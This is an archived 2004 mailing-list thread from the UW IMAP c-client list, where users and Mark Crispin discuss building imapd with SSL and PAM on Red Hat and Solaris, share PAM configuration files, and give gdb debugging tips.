[140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PK974H045142 for ; Thu, 25 Mar 2004 12:09:07 -0800 Received: from oss2.liv.ac.uk (oss2.liv.ac.uk [138.253.100.92]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2PK94qY008080 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 25 Mar 2004 12:09:05 -0800 Received: from ajtpc.liv.ac.uk ([138.253.253.66]) by oss2.liv.ac.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1B6b9y-0006UU-Iz; Thu, 25 Mar 2004 20:09:02 +0000 Message-Id: Date: Thu, 25 Mar 2004 20:09:05 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Alan Thew To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: dummy driver, do I need it? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: qq11@ajtpc.liv.ac.uk X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 25 Mar 2004 11:58 , Mark Crispin said: > On Thu, 25 Mar 2004, Alan Thew wrote: > > I have a test imap-2002e server. I've only changed the section in > > env_init.c to point the `home' directory to somewhere specific, away from > > the real home dir. > > What, precisely, did you do? Did you just change the mymailboxdir() > function (which is the proper course of action)? Or did you do something > else? I changed code in the env_init function that sets the home directory. I've had this working for years although not I concede with mbx use but unix format. > > In particular, did you change the sysinbox() function? No. > > That error message is not from the dummy driver. I have a guess as to > what is causing it, but I need more information first. > Thanks Alan Thew From pinedev@shivax2.cac.washington.edu Fri Mar 26 08:13:12 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Mar 2004 08:13:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2QGD7VY014025 for ; Fri, 26 Mar 2004 08:13:07 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2QGD5AF000935 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 26 Mar 2004 08:13:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2QGAxTu005236; Fri, 26 Mar 2004 08:10:59 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2QG9h3M089664 for ; Fri, 26 Mar 2004 08:09:43 -0800 Received: from nikolaus3.localdomain (host217-42-207-224.range217-42.btcentralplus.com [217.42.207.224]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2QG9OuX031318 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 26 Mar 2004 08:09:36 -0800 Received: from nikolaus4 ([192.168.0.111]) by nikolaus3.localdomain (8.12.8/8.12.8) with ESMTP id i2QG6gob019660 for ; Fri, 26 Mar 2004 16:06:52 GMT Message-Id: <40645585.7295.6F568B5@localhost> Date: Fri, 26 Mar 2004 16:08:37 -0000 Reply-To: nxn@acm.org Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nikolaos Nikolaou" To: c-client@u.washington.edu Subject: Newbie installation help request MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, i'm trying to compile-install imapd on an rh9.0,openssl0.9.6 and xinetd system but run into a few problems, i hope someone can help. make slx SSLTYPE=none is the only build that works fine for me, it compiles and it can be used, however it lacks any ssl support which isn't what i'm looking for. If i try: make slx SSLTYPE=unix or SSLTYPE=nopwd i get an error message about libcrypt.a with undefined references to dlclose and dlsym (i'm lost now). Also tried sl4 and sl5 to no avail. Tried building for a pam system (since pam is installed)with: make lnp and I get SSLTYPE=none compiles fine, server runs but no way to logon(something to do with pam?) SSLTYPE=unix ,SSLTYPE=nopwd compile fine, but pointless if above not even working? I've read the docs, makefiles etc with no luck. Am i missing sthg obvious? Instructions/pointers will be appreciated. Regards, Nikos -- Nikolaos Nikolaou PhD Candidate Kingston University -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Mar 26 10:31:27 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Mar 2004 10:31:27 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2QIVRRB020016 for ; Fri, 26 Mar 2004 10:31:27 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2QIVNSe016827 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 26 Mar 2004 10:31:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2QITn0D014726; Fri, 26 Mar 2004 10:29:49 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2QISmhJ052428 for ; Fri, 26 Mar 2004 10:28:48 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2QISm54019225 for ; Fri, 26 Mar 2004 10:28:48 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2QISknQ015679; Fri, 26 Mar 2004 10:28:47 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2QISks6002286; Fri, 26 Mar 2004 10:28:46 -0800 Message-Id: Date: Fri, 26 Mar 2004 10:28:46 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nikolaos Nikolaou Cc: c-client@u.washington.edu Subject: Re: Newbie installation help request In-Reply-To: <40645585.7295.6F568B5@localhost> References: <40645585.7295.6F568B5@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Redhat, the appropriate command is "make lrh" or "make lnp". Since you are using RH9.0, "make lrh" is appropriate. You do, indeed, need to configure PAM for IMAP use. Most likely, what you are missing is an /etc/pam.d/imap file but I am not an expert on PAM. Does this help? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Mar 26 11:24:57 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Mar 2004 11:24:57 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2QJOu6B022315 for ; Fri, 26 Mar 2004 11:24:56 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2QJOtSs008903 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 26 Mar 2004 11:24:55 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2QJNvBm017568; Fri, 26 Mar 2004 11:23:57 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2QJNBJ4039478 for ; Fri, 26 Mar 2004 11:23:11 -0800 Received: from nikolaus3.localdomain (host217-42-207-224.range217-42.btcentralplus.com [217.42.207.224]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2QJMhD4004822 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 26 Mar 2004 11:23:06 -0800 Received: from nikolaus4 ([192.168.0.111]) by nikolaus3.localdomain (8.12.8/8.12.8) with ESMTP id i2QJJwlt023362 for ; Fri, 26 Mar 2004 19:20:08 GMT Message-Id: <406482D5.2121.7A76B73@localhost> Date: Fri, 26 Mar 2004 19:21:57 -0000 Reply-To: nxn@acm.org Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nikolaos Nikolaou" To: c-client@u.washington.edu Subject: Re: Newbie installation help request In-Reply-To: References: <40645585.7295.6F568B5@localhost> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 26 Mar 2004 at 10:28, Mark Crispin wrote: > On Redhat, the appropriate command is "make lrh" or "make lnp". Since you > are using RH9.0, "make lrh" is appropriate. > > You do, indeed, need to configure PAM for IMAP use. Most likely, what you > are missing is an /etc/pam.d/imap file but I am not an expert on PAM. > > Does this help? > > -- Mark -- thx Mark, your answer helped in an unexpected manner. lrh does not compile if SSLTYPE=unix|nopwd but all this time my pam file was called imapd. Ever felt like banging your head against the wall? I do now. Anyhow, make lnp SSLTYPE=unix|nopwd work perfectly well. Regards, Nikos From pinedev@shivax2.cac.washington.edu Fri Mar 26 20:12:08 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Mar 2004 20:12:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2R4C80c011121 for ; Fri, 26 Mar 2004 20:12:08 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2R4C6Ud028605 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 26 Mar 2004 20:12:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2R4B2Fk017132; Fri, 26 Mar 2004 20:11:03 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2R49qcX036276 for ; Fri, 26 Mar 2004 20:09:52 -0800 Received: from mail3.speakeasy.net (mail3.speakeasy.net [216.254.0.203]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2R49o2K019059 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Fri, 26 Mar 2004 20:09:51 -0800 Received: (qmail 13680 invoked from network); 27 Mar 2004 04:09:50 -0000 Received: from dsl231-050-075.sea1.dsl.speakeasy.net (HELO eskimo.com) (awaller@[216.231.50.75]) (envelope-sender ) by mail3.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 27 Mar 2004 04:09:50 -0000 Message-Id: <4064FCE2.5040905@eskimo.com> Date: Fri, 26 Mar 2004 20:02:42 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: evol To: Mark Crispin Cc: Nikolaos Nikolaou , c-client@u.washington.edu Subject: Re: Newbie installation help request In-Reply-To: References: <40645585.7295.6F568B5@localhost> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.76.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='LINES_OF_YELLING 0.001, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __MOZILLA_MSGID 0, EMAIL_ATTRIBUTION 0, PGP_SIGNATURE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Mark Crispin wrote: | On Redhat, the appropriate command is "make lrh" or "make lnp". Since | you are using RH9.0, "make lrh" is appropriate. | | You do, indeed, need to configure PAM for IMAP use. Most likely, what | you are missing is an /etc/pam.d/imap file but I am not an expert on PAM. | | Does this help? | | -- Mark -- | | http://staff.washington.edu/mrc | Science does not emerge from voting, party politics, or public debate. | Si vis pacem, para bellum. | | Heh, I have been hacking extra functions into imap for about a year now. there are some issues with the pam build which I have resolved. its the pam module not the code. For along time after hacking a /etc/shells parsing function into imap I found that pam could do it better. the following is what to put in your redhat /etc/pam.d/imap file file permissions you should look at before changing and back up the old imap file in /etc/pam.d first. Make sure you dont break the lines with some editor like nano or pico unless you use the -w flag with them and no spaces just the raw text. I find this particular pam recipe works best with Mark's code. - ------------snip---------------- #%PAM-1.0 auth required /lib/security/pam_nologin.so auth required /lib/security/pam_unix_auth.so try_first_pass auth required /lib/security/pam_shells.so account required /lib/security/pam_unix_acct.so password required /lib/security/pam_cracklib.so password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so - ------------snip---------------- I would also like to thank Mark Crispin for te code base from which i work Its been a lot of fun and sometimes painfully to hack but its a great piece of work. Although i disagree in your ideas about configure.auto*, and what have you. I can not thank you enough for your contribution to what my uses of your code have been. So formally thank you Mark Crispen. your a genius. Sincerely, - -aaron waller -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFAZPze1ZLJ6yGmG48RAv3bAJ9DksWFKSKTzI62vUD/fL1lvdDbJACeLn5z dl2ZaGVwe7HgK86hP5SlwHg= =yqNT -----END PGP SIGNATURE----- From pinedev@shivax2.cac.washington.edu Sun Mar 28 16:18:12 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 28 Mar 2004 16:18:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2T0ICK8030781 for ; Sun, 28 Mar 2004 16:18:12 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2T0IASa005903 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 28 Mar 2004 16:18:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2T0Gkq5005082; Sun, 28 Mar 2004 16:16:50 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2T0F3c5051878 for ; Sun, 28 Mar 2004 16:15:03 -0800 Received: from smtp.omnis.com (smtp.omnis.com [216.239.128.26]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2T0F11H023696 for ; Sun, 28 Mar 2004 16:15:02 -0800 Received: from localhost (balder.omnis.com [216.239.128.60]) by smtp-relay.omnis.com (Postfix) with ESMTP id B6A141880A25 for ; Sun, 28 Mar 2004 16:15:00 -0800 (PST) Message-Id: <1080519294.40676a7e85bd4@webmail.huyler.net> Date: Sun, 28 Mar 2004 19:14:54 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Christopher Huyler To: "" Subject: imapd with PAM authentication on Solaris 8 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 24.62.22.67 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I've been trying to setup my Solaris 8 machine as a webmail server. I want to use PAM authentication so that I can use user's smb passwords. I have built imapd w/o pam authentication and it works fine but when I try to add pam authentication, it stops letting users connect. I compiled it using: make gso PASSWDTYPE=pmb SSLTYPE=unix (I also tried PASSWDTYPE=pam but saw no difference) I added the following to /etc/pam.conf imap auth sufficient pam_unix_auth.so.1 imap auth required pam_smb_auth.so use_first_pass Do I need to add anything else to pam.conf? Is there a way to debug? I can't seem to connect to imapd when I run it in gdb. I removed the imapd line from /etc/inetd.conf, restarted inetd, then started up gdb with imapd and entered "run". I added break points to checkpw and loginpw but when I try to connect I get "connection refused" as if imapd wasn't running at all. Do I need to bind it to a port or something? Any help on debugging would be great. -- Christopher Huyler chris@huyler.net -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Mar 28 23:45:06 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 28 Mar 2004 23:45:06 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2T7j69Z013237 for ; Sun, 28 Mar 2004 23:45:06 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2T7j4s7021639 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 28 Mar 2004 23:45:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2T7htHw012780; Sun, 28 Mar 2004 23:43:56 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2T7fHa2064646 for ; Sun, 28 Mar 2004 23:41:17 -0800 Received: from netra27.desy.de (netra27.desy.de [131.169.40.141]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2T7fF6l029650 for ; Sun, 28 Mar 2004 23:41:16 -0800 Received: from mx2.desy.de (mx2.desy.de [131.169.69.102]) by netra27 (DesyMail_Map_27) with ESMTP id 2E63CFD55 for ; Mon, 29 Mar 2004 09:41:15 +0200 (MEST) Received: from netra28.desy.de (netra28.desy.de [131.169.40.142]) by mx2.desy.de (Content Technologies SMTPRS 4.3.10) with ESMTP id ; Mon, 29 Mar 2004 09:41:14 +0200 Received: from desy.de (pcx4211.desy.de [131.169.214.32]) by netra28 (DesyMail_In_28) with ESMTP id 8F9AAF0A0B; Mon, 29 Mar 2004 09:41:14 +0200 (MEST) Message-Id: <4067D31A.1080507@desy.de> Date: Mon, 29 Mar 2004 09:41:14 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dirk Jahnke To: Christopher Huyler , c-client@u.washington.edu Subject: Re: imapd with PAM authentication on Solaris 8 In-Reply-To: <1080519294.40676a7e85bd4@webmail.huyler.net> References: <1080519294.40676a7e85bd4@webmail.huyler.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en, de X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Christopher, I do not use SMB passwords, but imap(s) with PAM on Solaris 8. All my imap related entries in the pam.conf are like this: imaps auth optional /usr/lib/security/$ISA/pam_afs.so.1 try_first_pass ignore_root setenv_password_expires debug (well, "debug" only when debugging...) You can switch on debugging of PAM with syslog.conf: auth.debug /where/ever/log/pam_debug Do not forget to touch the file prior to SIGHUPing syslogd. Cheers, -- Dirk Jahnke Deutsches Elektronen-Synchrotron DESY Hamburg IT Systems / Bldg. 2b / Room 221 D-22603 Hamburg Notkestrasse 85 / 22607 Hamburg Tel: +49-40-899.8.1760 Fax: +49-40-899.4.1760 dirk.jahnke@desy.de From pinedev@shivax2.cac.washington.edu Mon Mar 29 08:58:20 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Mar 2004 08:58:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TGwKjp001354 for ; Mon, 29 Mar 2004 08:58:20 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TGwH0P003436 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 29 Mar 2004 08:58:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2TGusr2013496; Mon, 29 Mar 2004 08:56:54 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2TGtOHK015094 for ; Mon, 29 Mar 2004 08:55:24 -0800 Received: from mail1.speakeasy.net (mail1.speakeasy.net [216.254.0.201]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2TGtN7g022407 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Mon, 29 Mar 2004 08:55:23 -0800 Received: (qmail 15166 invoked from network); 29 Mar 2004 16:55:23 -0000 Received: from dsl231-050-075.sea1.dsl.speakeasy.net (HELO eskimo.com) (awaller@[216.231.50.75]) (envelope-sender ) by mail1.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 29 Mar 2004 16:55:23 -0000 Message-Id: <406854F5.4090800@eskimo.com> Date: Mon, 29 Mar 2004 08:55:17 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: evol To: Christopher Huyler Cc: c-client@u.washington.edu Subject: Re: imapd with PAM authentication on Solaris 8 In-Reply-To: <1080519294.40676a7e85bd4@webmail.huyler.net> References: <1080519294.40676a7e85bd4@webmail.huyler.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.76.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='LINES_OF_YELLING 0.001, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __MOZILLA_MSGID 0, EMAIL_ATTRIBUTION 0, PGP_SIGNATURE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Christopher Huyler wrote: | Hi all, | | I've been trying to setup my Solaris 8 machine as a webmail server. I want to | use PAM authentication so that I can use user's smb passwords. | | I have built imapd w/o pam authentication and it works fine but when I try to | add pam authentication, it stops letting users connect. | | I compiled it using: | make gso PASSWDTYPE=pmb SSLTYPE=unix | (I also tried PASSWDTYPE=pam but saw no difference) | | I added the following to /etc/pam.conf | imap auth sufficient pam_unix_auth.so.1 | imap auth required pam_smb_auth.so use_first_pass | | Do I need to add anything else to pam.conf? | | Is there a way to debug? I can't seem to connect to imapd when I run it in | gdb. | I removed the imapd line from /etc/inetd.conf, restarted inetd, then started | up gdb with imapd and entered "run". I added break points to checkpw and | loginpw but when I try to connect I get "connection refused" as if imapd wasn't | running at all. Do I need to bind it to a port or something? Any help on | debugging would be great. | | -- | Christopher Huyler | chris@huyler.net no, there is no way to debug pam but trial and error. You might see sothing in a debugger like ddd most likly just pam fails blah in syslog or somthing. ~From your information it would be hard to make a pam config that would work. do you use NIS,NIS+,LDAP or somthing else to authenticate ? If all fails. "I removed the imapd line from /etc/inetd.conf, restarted inetd, then started | up gdb with imapd and entered "run"." You need to start imapd out of inetd xinetd or how ever your going to start it, then attach to the PID with your gdb ( yuck ) "attach 1234" and debug that way. watch your syslog etc. I dont think you can start imapd as a stand alone daemon ( I dont know how ). look for getpwnam() etc. Set your break point somewhere before the getpwuid()/getpwnam() so you can see whats going on in the authentication phase. In fact, set it after the username call and before the getpwbynam() call this way you can step through the authentication phase. ( I cant recall what imapd uses, been working on other stuff ). somthing like p->pw will be what it will return. Try googling for you pam config I think yours looks like a non working config. I Dont have my solaris box here or id pull an example out for you. Hopefully this has helped in the slightest. I recomend for this that you use ddd or xxgdb so you can watch the code as it runs past if your running gnu stuff. remember compile with -ggdb and no optimizations and dont strip your symbol table off :P Take Care Sincerely, Aaron Waller -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFAaFTz1ZLJ6yGmG48RAsmoAJ0fZctVS25m54AOzJO49TzLvMB9oQCeKt2V 8VUkzz7HMeIBFNozUhj1cwk= =Az1e -----END PGP SIGNATURE----- 